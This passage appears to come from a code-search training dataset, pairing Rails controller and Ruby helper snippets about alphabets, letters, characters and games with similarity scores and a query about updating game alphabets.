ChalieVice::Letter.new(chalie_vice_letter_params)\n\n respond_to do |format|\n if @chalie_vice_letter.save\n format.html { redirect_to @chalie_vice_letter, notice: 'Letter was successfully created.' }\n format.json { render :show, status: :created, location: @chalie_vice_letter }\n else\n format.html { render :new }\n format.json { render json: @chalie_vice_letter.errors, status: :unprocessable_entity }\n end\n end\n end", "def alphabet_keys()\n alphabet = \"abcdefghijklmnopqrstuvwxyz\".split('')\n alphabet_keys = {}\n alphabet.length.times do |i|\n alphabet_keys[alphabet[i]] = i + 1\n end\n\n return alphabet_keys\nend", "def draw_letters\n letter_freq = {\n A: 9, N: 6, B: 2, O: 8, C: 2, P: 2, D: 4, Q: 1, E: 12, R: 6, F: 2, S: 4,\n G: 3, T: 6, H: 2, U: 4, I: 9, V: 2, J: 1, W: 2, K: 1, X: 1, L: 4, Y: 2, M: 2, Z: 1,\n }\n\n avail_letters = array_gen(letter_freq)\n used_letters = avail_letters.sample(10)\n\n return used_letters\nend", "def create\n respond_to do |format|\n if @character = Character.create_with_char_data(character_params, current_user, game)\n format.json { render json: {redirect: character_path(@character).to_s} }\n else\n format.json { render json: @character.errors, status: :unprocessable_entity }\n end\n end\n end", "def alphabet_map_for_letters(letters)\n alphabet = ('A'..'Z').to_a\n\n letter_count_of_available_letters = {}\n alphabet.each { |letter|\n new_letter = {letter => 0}\n letter_count_of_available_letters.merge!(new_letter)\n }.flatten\n\n letters.each { |letter|\n letter_count_of_available_letters[letter.upcase] += 1\n }\n\n letter_count_of_available_letters\n end", "def create\n new_game = helpers.generate_game(params[\"game_name\"])\n\n slack_id = params[\"slack_id\"]\n\n response_url = params[\"response_url\"]\n\n @game = Game.new(new_game.new_game_data)\n\n if @game.save\n player = Player.exists?(slack_id: \"#{slack_id}\")\n if player\n player_records = Player.find_by(slack_id: \"#{slack_id}\")\n Rails.logger.info player_records[\"id\"].inspect\n render :json => {game_id: \"#{@game.id}\", player: \"#{player}\", player_id: \"#{player_records[\"id\"]}\"}\n else\n render :json => {game_id: \"#{@game.id}\", player: \"#{player}\"}\n end\n else\n render json: @game.errors, status: :unprocessable_entity\n end\n\n word_blanks = new_game.display_word_state\n\n HTTParty.post(response_url, \n {\n body: {\"text\" => \"#{word_blanks}\",\"response_type\" => \"in_channel\"}.to_json,\n headers: {\n \"Content-Type\" => \"application/json\"\n }\n }\n )\n \n end", "def player_show_alph\n\t\t@letter_track.each_key{|key| puts key}\n\tend", "def encode\n @word.chars.map do |letter|\n index = @abc.index(letter) \n @abc_reverse[index]\n end.join\n \n end", "def initialize\n @wrong_letters = []\n @wrong_guesses = 0\n end", "def test_can_save_before_letter_challenge\n challenge = Challenge.new({ :question => 'What letter comes before B?', :answer => 'A' })\n assert challenge.save\n end", "def rand_string_alpha(length, save_as = nil)\n chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNOPQRSTUVWXYZ'\n result = Array.new(length) { chars[rand(chars.length)].chr }.join\n $test_params[save_as] = result if save_as\n result\nend", "def create(name)\n name = name.downcase\n\n char = self.new(name)\n char.save\n\n @characters ||= {}\n @characters[name] = char\n\n char\n end", "def card_params\n params.require(:card).permit(:letter)\n end", "def create\n @character = Character.new(character_params)\n if @character.save\n render json: @character, status: 201\n else\n render json: @character.errors, status: :unprocessable_entity\n end\n end", "def index\n response = if Flipper.enabled?(:mobile_lighthouse_letters, @current_user)\n lighthouse_service.get_letters[:letters]\n else\n evss_service.get_letters.letters\n end\n\n render json: Mobile::V0::LettersSerializer.new(@current_user, response)\n end", "def check_letters(letters)\n @user_guesses = []\n letters.split(/,\\s||,||\"\"/).each do |letter|\n @user_guesses << (['R', 'G', 'B', 'Y', 'O', 'P'].include? (letter))\n end\n !@user_guesses.include? (false)\n end", "def check_letters(letter)\n progress(letter)\n count = 0\n @word_to_guess.each do |char|\n if char == letter\n @hidden_word[count] = letter\n else\n @hidden_word \n end\n count +=1 \n end\n puts @hidden_word\n @hidden_word\n end", "def charset\n names = []\n 26.times do |i|\n names << (65 + i).chr\n end\n names\nend", "def morse_encode\n morse_dict = {\n \"a\" => \".-\",\n \"b\" => \"-...\",\n \"c\" => \"-.-.\",\n \"d\" => \"-..\",\n \"e\" => \".\",\n \"f\" => \"..-.\",\n \"g\" => \"--.\",\n \"h\" => \"....\",\n \"i\" => \"..\",\n \"j\" => \".---\",\n \"k\" => \"-.-\",\n \"l\" => \".-..\",\n \"m\" => \"--\",\n \"n\" => \"-.\",\n \"o\" => \"---\",\n \"p\" => \".--.\",\n \"q\" => \"--.-\",\n \"r\" => \".-.\",\n \"s\" => \"...\",\n \"t\" => \"-\",\n \"u\" => \"..-\",\n \"v\" => \"...-\",\n \"w\" => \".--\",\n \"x\" => \"-..-\",\n \"y\" => \"-.--\",\n \"z\" => \"--..\",\n \" \" => \" \", }\n\n end", "def type(text:)\n conn = multipart_connection(port: 8060)\n text.split(//).each do |c|\n path = \"/keypress/LIT_#{CGI::escape(c)}\"\n @logger.debug(\"Send Letter: \"+path)\n response = conn.post path\n return false unless response.success?\n end\n return true\n end", "def update\n respond_to do |format|\n if @alphabet.update(alphabet_params)\n format.html { redirect_to @alphabet, notice: 'Alphabet was successfully updated.' }\n format.json { render :show, status: :ok, location: @alphabet }\n else\n format.html { render :edit }\n format.json { render json: @alphabet.errors, status: :unprocessable_entity }\n end\n end\n end", "def character_params\n params.require(:character).permit(:name)\n end", "def encode\n\n # create a variable to hold the encoded string\n output = \"\"\n # creating an array of the alphabet to find the indexs of the letters.\n alphabet = ( \"a\"..\"z\" ).to_a\n\n # changing the input string to downcase then splitting it into individual characters in an array then looping through the array to gain access to each letter.\n @input_string.downcase.split('').each do | letter |\n\n # finding the index of the letter within the alphabet array\n index = alphabet.index( letter )\n\n # using that index to find the corresponding letter in the reversed array.\n output << alphabet.reverse[ index ]\n\n end\n # return the output.\n p output\n end", "def index\n @human_names = HumanName.search(params)\n\t\t@letters = get_turkish_alphabet()\n\n respond_to do |format|\n format.html # index.html.erb\n format.js\n format.json { render :json => @human_names }\n end\n end", "def get_character_hash(link)\n all_characters = RestClient.get(link)\n character_hash = JSON.parse(all_characters)\nend", "def get_poss_characters()\n alpha = \"abcdefghijklmnopqrstuvwxyz0123456789\"\n poss = []\n for i in (0..alpha.length-1)\n poss.push(alpha[i])\n end\n return poss\nend", "def new\n @letter = Letter.new(params[:letter])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @letter }\n end\n end", "def random_alphanumeric\n (1..10).collect { ALPHANUMERIC[rand(ALPHANUMERIC.size)] }.join\n end", "def initiation_params\n params.require(:initiation).permit(:characters)\n end", "def anagram_params\n params.require(:anagram).permit(:firstword, :secondword, :matching)\n end", "def check_input_vs_alphabet(string_array)\n braille_translated = []\n string_array.each do |letter|\n if letter == letter.upcase && letter != letter.downcase\n braille_translated << alpha.trans_braille[:shift]\n braille_translated << alpha.trans_braille[letter.downcase]\n else\n braille_translated << alpha.trans_braille[letter]\n end\n end\n sort_out(braille_translated)\n end", "def create\r\n @game_id = params[:game_id].to_i \r\n @character = Character.create(character_params)\r\n respond_to do |format|\r\n if @character.save\r\n format.html { redirect_to @character, notice: 'Character was successfully created.' }\r\n format.json { render :show, status: :created, location: @character }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @character.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def set_poss(data)\n poss_answers = []\n poss_answers.push(\"(A)\" + \" \" + data[\"correct_answer\"])\n wrong_answers = data[\"incorrect_answers\"]\n alphabet = ('A'..'Z').to_a\n wrong_answers.each_with_index do |ans, i|\n poss_answers.push(\"(\" + alphabet[i+1] + \")\" + \" \" + ans)\n end\n return poss_answers\n end" ]
[ "0.7253304", "0.69218963", "0.6432131", "0.6400679", "0.6142293", "0.60437787", "0.60307974", "0.5991438", "0.59512025", "0.58851767", "0.5871188", "0.58694416", "0.5745431", "0.5745431", "0.5743061", "0.57265365", "0.5697366", "0.56455", "0.56125814", "0.55449474", "0.54933286", "0.5485798", "0.544876", "0.54385644", "0.5437653", "0.5402864", "0.53898865", "0.5383441", "0.53696877", "0.53534603", "0.5351866", "0.5311339", "0.53101957", "0.53095096", "0.5309252", "0.53002316", "0.5247311", "0.5239107", "0.52367955", "0.52276254", "0.51890266", "0.51828", "0.51776236", "0.51623994", "0.51621515", "0.51601183", "0.5156934", "0.515206", "0.5149089", "0.5146548", "0.51462036", "0.513899", "0.5131145", "0.5124887", "0.5106507", "0.50944257", "0.508718", "0.508199", "0.50815535", "0.5080969", "0.506308", "0.50590736", "0.5045686", "0.50439966", "0.5040864", "0.50344324", "0.50323945", "0.5004222", "0.4993769", "0.4992837", "0.4978798", "0.49724606", "0.49611324", "0.4948296", "0.49470094", "0.49426368", "0.49410042", "0.49332985", "0.49330136", "0.49273354", "0.49206933", "0.49194732", "0.49157065", "0.49084425", "0.49041948", "0.49038944", "0.49017555", "0.4901426", "0.48956227", "0.48955187", "0.48944533", "0.48809844", "0.48800462", "0.48766112", "0.48696777", "0.48684502", "0.48654297", "0.48629335", "0.48614272", "0.4857512" ]
0.64646405
2
PATCH/PUT /game_alphabets/1 PATCH/PUT /game_alphabets/1.json
def update respond_to do |format| if @game_alphabet.update(game_alphabet_params) format.html { redirect_to @game_alphabet, notice: 'Game alphabet was successfully updated.' } format.json { head :no_content } else format.html { render action: 'edit' } format.json { render json: @game_alphabet.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n\tGameAlphabet.delete_game_alphabets(@game.id)\n\tTimer.delete_game_timers(@game.id)\n\t if @game.update(game_params)\n\t #@alphabets = ['s','y','z','a','b']\n\t @alphabets = ['الف' , 'ب' , '‍‍‍پ' , 'ت' , 'ث' , 'ج' , 'چ' , 'ح' , 'خ' , 'د' , 'ذ' , 'ر' , 'ز' , 'ژ' , 'س' , 'ش' , 'ص' , 'ض' , 'ط' , 'ظ' , 'ع' , 'غ' , 'ف' , 'ق' , 'ک' , 'گ' , 'ال' , 'م' , 'ن' , 'و' , 'ه' , 'ی']\n\t#\t\n\t for i in 1..@game.rounds_num\n\t\t@selected_letter = @alphabets.sample\n\t\t@alphabets.delete(@selected_letter)\n\t\tGameAlphabet.new_game_alphabet(@game.id,i,@selected_letter)\n\t Timer.new_timer(@game.id,i)\n\t end\n format.html { redirect_to @game, notice: 'بازی با موفقیت تغییر یافت.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @solution.letters = params[:letters]\n @solution.save\n end", "def update\n respond_to do |format|\n if @alphabet.update(alphabet_params)\n format.html { redirect_to @alphabet, notice: 'Alphabet was successfully updated.' }\n format.json { render :show, status: :ok, location: @alphabet }\n else\n format.html { render :edit }\n format.json { render json: @alphabet.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_game_alphabet\n @game_alphabet = GameAlphabet.find(params[:id])\n end", "def bh_update_textfields_to_uppercase\n name = params[:name].upcase\n @json_data = { \"name\" => name }\n render json: @json_data\n end", "def game_alphabet_params\n params.require(:game_alphabet).permit(:game_id, :round_number, :alphabet)\n end", "def game_params\n params.require(:game).permit(:letters)\n end", "def update\r\n @game_id = params[:game_id].to_i \r\n @character = Character.find(params[:id])\r\n respond_to do |format|\r\n if @character.update(character_params)\r\n format.html { redirect_to @character, notice: 'Your Character was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @character }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @character.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n if @character.update(character_params)\n render json: @character, status: 201, location: @character\n else\n render json: @character.errors, status: :unprocessable_entity\n end\n end", "def update\n # @character.update character_params\n if @character.update character_params\n render json: {\n status: :updated,\n character: @character\n }\n else\n render json: {\n status: 500,\n errors: @character.errors.full_messages\n }\n end\n end", "def update\n respond_to do |format|\n if @character.update(character_params)\n format.html { redirect_to @game, notice: 'Ура! Персонаж обновлен!' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @character.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @letter = Letter.find(params[:id])\n\n respond_to do |format|\n if @letter.update_attributes(params[:letter])\n format.html { redirect_to preview_letter_path(@letter), notice: 'Surat berjaya dikemas kini.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @letter.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game_characters = GameCharacters.find(params[:id])\n\n respond_to do |format|\n if @game_characters.update_attributes(params[:game_characters])\n flash[:notice] = 'GameCharacters was successfully updated.'\n format.html { redirect_to(@game_characters) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @game_characters.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @game = Game.where(\"secret_id='#{secret_id}\").first\n respond_to do |format|\n if game.update\n format.html\n format.json { render json: @game }\n end\n end\n end", "def update\n respond_to do |format|\n if @chalie_vice_letter.update(chalie_vice_letter_params)\n format.html { redirect_to @chalie_vice_letter, notice: 'Letter was successfully updated.' }\n format.json { render :show, status: :ok, location: @chalie_vice_letter }\n else\n format.html { render :edit }\n format.json { render json: @chalie_vice_letter.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @letter_request.update(letter_request_params)\n format.html { redirect_to @letter_request, notice: 'Letter request was successfully updated.' }\n format.json { render :show, status: :ok, location: @letter_request }\n else\n format.html { render :edit }\n format.json { render json: @letter_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @key_word = KeyWord.find(params[:id])\n\n respond_to do |format|\n if @key_word.update_attributes(params[:key_word])\n format.html { redirect_to @key_word, notice: 'Key word was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @key_word.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @application.user.confirmed_character?\n c = @application.user.character\n @application.character_name = c.name\n @application.character_realm = c.realm\n @application.character_guild_name = c.guild_name\n @application.character_guild_realm = c.guild_realm\n @application.verified_character = true\n end\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @key_word_set = KeyWordSet.find(params[:id])\n\n respond_to do |format|\n if @key_word_set.update_attributes(params[:key_word_set])\n format.html { redirect_to @key_word_set, notice: 'Key word set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @key_word_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game.battling_armies.each do |army|\n army.is_loser = true if army.is_winner == false\n army.save\n end\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @character = Character.get(params[:id])\n params[:character] = params[:character].map { |x,y| [x, y.empty? ? nil : y ] }.to_hash\n\n respond_to do |format|\n if @character.update(params[:character])\n format.html { redirect_to([:administration, @character], :notice => 'Character was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @character.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n if @character.update(character_params)\n render json: @character, status: :ok\n else\n render json: @character.errors, status: :unprocessable_entity\n end\n end", "def update\n @keystroke = Keystroke.find(params[:id])\n\n respond_to do |format|\n if @keystroke.update_attributes(params[:keystroke])\n format.html { redirect_to @keystroke, notice: 'Keystroke was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @keystroke.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n @game.turn = params[:game][:turn]\n @game.finished = params[:game][:finished]\n @game.winner = params[:game][:winner]\n @game.overall_score = ActiveSupport::JSON.decode(params[:game][:overall_score])\n @game.game_state = ActiveSupport::JSON.decode(params[:game][:game_state])\n\n respond_to do |format|\n if @game.save\n format.json { head :no_content }\n else\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @deck = Deck.find(params[:id])\n @deck.update(title: params[:title])\n render \"update.json.jbuilder\", status: :ok\n end", "def update\n @athlete.altered_by = current_user.id\n namesplit = @athlete.name.split(' ')\n @athlete.short_name = \"#{namesplit.first} #{namesplit.last}\" if namesplit.length > 1\n @athlete.short_name = \"#{namesplit.first}\" if namesplit.length == 1\n\n respond_to do |format|\n\n if @athlete.update(athlete_params)\n if params[ :shortform ] or params[ :clubdetail ]\n @club = Club.find( @athlete.club_id )\n format.html { redirect_to club_path(@athlete.club_id), notice: 'Atleta criado com sucesso.' }\n else\n format.html { redirect_to @athlete, notice: 'Atleta actualizado com sucesso.' }\n end\n format.json { head :no_content }\n else\n if params[ :shortform ] or params[ :clubdetail ]\n @club = Club.find( @athlete.club_id )\n flash[:error] = @athlete.errors.full_messages.join(\".<br>\").html_safe\n format.html { redirect_to club_path(@athlete.club_id) }\n else\n format.html { render action: 'edit' }\n end\n format.json { render json: @athlete.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @letter_field_input.update(letter_field_input_params)\n format.html { redirect_to @letter_field_input, notice: 'Letter field input was successfully updated.' }\n format.json { render :show, status: :ok, location: @letter_field_input }\n else\n format.html { render :edit }\n format.json { render json: @letter_field_input.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game_set.update(game_set_params)\n format.html { redirect_to @game_set, notice: 'Game set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @special_word = SpecialWord.find(params[:id])\n @special_word.attributes = params[:special_word]\n set_user_column @special_word\n\n respond_to do |format|\n begin\n @special_word.save!\n format.html { redirect_to((back_to || @special_word), notice: 'Special word was successfully updated.') }\n format.json { head :no_content }\n rescue ActiveRecord::RecordInvalid\n format.html { render action: \"edit\" }\n format.json { render json: @special_word.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend", "def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend", "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game = Game.find(params[:id])\n\n #First update the players table to indicate who is playing this game\n set_player_availability(params)\n \n #Find teams and update their names\n home_team = Team.find(@game.home_team_id)\n home_team.name = params[:home_team_name]\n away_team = Team.find(@game.away_team_id)\n away_team.name = params[:away_team_name]\n \n #Create home and away teams from available players\n build_teams(home_team, away_team)\n \n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game_code = GameCode.find(params[:id])\n\n respond_to do |format|\n if @game_code.update_attributes(params[:game_code])\n format.html { redirect_to @game_code, notice: 'Game code was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game_code.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @league_game.update(league_game_params)\n format.html { redirect_to @league_game, notice: 'League game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @league_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, :notice => 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @game.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game_judge.update(game_judge_params)\n format.html { redirect_to @game_judge, notice: 'Game judge was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game_judge.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @character.update(character_params)\n format.html { redirect_to @character, notice: I18n.translate(\"success\", scope: %i[characters edit]) }\n format.json { render :show, status: :ok, location: @character }\n else\n format.html { render :edit }\n format.json { render json: @character.errors, status: :unprocessable_entity }\n end\n end\n end", "def editDeck\n @deck = Deck.find(params[:id])\n @deck.title = params[:title] \n respond_to do |format|\n if @deck.save\n format.json {render :json => @deck.to_json}\n else\n format.json {render :json => {:deck => {:title => 'error'}}.to_json}\n end\n end\n end", "def update\n @gameplay = Gameplay.find(params[:id])\n\n respond_to do |format|\n if @gameplay.update_attributes(params[:gameplay])\n format.html { redirect_to @gameplay, notice: 'Gameplay was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gameplay.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @game_alphabet.destroy\n respond_to do |format|\n format.html { redirect_to game_alphabets_url }\n format.json { head :no_content }\n end\n end", "def update\n @game = Game.get(params[:id])\n\n respond_to do |format|\n if @game.update(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n @games = current_club_player.games\n format.html { redirect_to dashboard_path, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n team_name = params[:name]\n team_description = params[:description]\n team_id = params[:id]\n\n respond_to do |format|\n if OkrTeam.where(id: team_id).update_all(name: team_name, description: team_description)\n format.json { render json: 'Team is updated successfully!', status: :ok }\n else\n format.json { render json: 'Error!', status: :unprocessable_entity }\n end\n end\n end", "def update\n @scramble = Scramble.find(params[:id])\n\n respond_to do |format|\n if @scramble.update_attributes(params[:scramble])\n flash[:notice] = 'Scramble was successfully updated.'\n format.html { redirect_to(@scramble) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @scramble.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @character.update(character_params)\n format.html { redirect_to @character, notice: 'Character was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @character.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @kebab = Kebab.find(params[:id])\n\n respond_to do |format|\n if @kebab.update_attributes(params[:kebab])\n flash[:notice] = 'Kebab was successfully updated.'\n format.html { redirect_to(kebabs_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @kebab.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @possible_name.update(possible_name_params)\n format.html { redirect_to @possible_name, notice: 'Possible name was successfully updated.' }\n format.json { render :show, status: :ok, location: @possible_name }\n else\n format.html { render :edit }\n format.json { render json: @possible_name.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @admin_game.update(admin_game_params)\n format.html { redirect_to @admin_game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_game }\n else\n format.html { render :edit }\n format.json { render json: @admin_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @character = Character.find(params[:id])\n\n @character.send(\"#{params[:field]}=\", params[:value])\n \n\n respond_to do |format|\n if @character.save\n flash[:notice] = 'Character was successfully updated.'\n format.html { redirect_to(@character) }\n format.json {render :text => full_character_json(@character)}\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :text => full_character_json(@character)}\n format.xml { render :xml => @character.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to contest_games_path, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @howtoplaygame.update(howtoplaygame_params)\n format.html { redirect_to @howtoplaygame, notice: 'Howtoplaygame was successfully updated.' }\n format.json { render :show, status: :ok, location: @howtoplaygame }\n else\n format.html { render :edit }\n format.json { render json: @howtoplaygame.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n render json: Alien.update(params[\"id\"], params[\"alien\"])\n end", "def update\n respond_to do |format|\n if @qa_game.update(qa_game_params)\n format.html { redirect_to @qa_game, notice: 'Qa game was successfully updated.' }\n format.json { render :show, status: :ok, location: @qa_game }\n else\n format.html { render :edit }\n format.json { render json: @qa_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @application = Application.find(params[:id])\n new_name = params[:application][:name].to_s.downcase\n @application.name = params[:application][:name]\n User.edit_app_name(@application.id, new_name) if @application.valid?\n\n respond_to do |format|\n if @application.update_attributes(params[:application])\n format.html { redirect_to applications_path, notice: 'Приложение обновлено.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @character.update(character_params)\n format.html { redirect_to @character, notice: 'Character was successfully updated.' }\n format.json { render :show, status: :ok, location: @character }\n else\n format.html { render :edit }\n format.json { render json: @character.errors, status: :unprocessable_entity }\n end\n end\n end", "def gather_alphabets\n \talphabets = helpers.gather_alphabets\n\n render json: {\n data: alphabets\n }\n \t\n end", "def update\n respond_to do |format|\n if @round.make_guess(params[\"round\"][\"guessed_letter\"])\n update_current_player\n format.html { redirect_to game_round_path(@game, @round) }\n format.json { render :show, status: :created, location: @round }\n else\n format.html { redirect_to game_round_path(@game, @round), notice: 'Invalid guess' }\n format.json { render :show, status: :created, location: @round }\n end\n end\n end", "def update\n respond_to do |format|\n byebug\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game = Game.find(params[:id])\n \n respond_to do |format|\n if @game.update_attributes(params[:game])\n @game.tag_with params[:tag][:tag_list] if params[:tag] && params[:tag][:tag_list] != \"\"\n flash[:notice] = 